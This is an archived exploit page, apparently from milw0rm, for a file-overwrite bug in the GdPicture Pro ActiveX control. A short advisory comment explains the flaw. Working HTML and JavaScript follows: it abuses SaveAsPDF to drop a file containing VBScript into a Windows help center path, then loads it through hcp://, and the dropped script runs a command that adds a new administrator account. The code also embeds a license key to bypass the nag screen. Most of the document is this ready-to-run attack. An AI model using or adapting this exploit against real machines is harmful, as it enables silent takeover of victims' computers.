GdPicture Pro - ActiveX 'gdpicture4s.ocx' File Overwrite / Exec

<!--

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	GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution Exploit
	---------------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.gdpicture.com/
	ProgID...: GdPicture4S.Imaging
	
	Description:
	
	SaveAsPDF() method allow to create / overwrite file through
	sFilePath argument. By using other arguments, such as sTitle,
	an attacker could be inject html code and execute it using
	the hcp:// protocol (tecnique discovered by rgod).
	Also GdPicturePro5.Imaging is prone to this vulnerability,
	but it doesn't implements the IObjectSafety interface.
	
	Tested on Windows XP SP2 with IE 6/7
	
	Object safety report:
	
	Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
	RegKey Safe for Script: False
	RegKey Safe for Init: False
	Implements IObjectSafety: True
	IDisp Safe:  Safe for untrusted: caller,data  
	IPStorage Safe:  Safe for untrusted: caller,data

	[*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE' id='test'></object>

<script language='javascript'>

	var cmd = "cmd /c net user test test /add & net localgroup Administrators test /add";

	var outFile = "c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

	var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
		  "\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
		  "\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
		  "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
		  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
		  "\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

	var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='wsh'><\/object>" +
		 "<script language='vbscript'>wsh.Run \"" + cmd + "\", SW_HIDE<\/script>";

	test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the nag screen
	test.CreateImageFromString(BMP);

	if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href = "hcp://system/errors/badurl.htm";

</script>

# milw0rm.com [2008-09-30]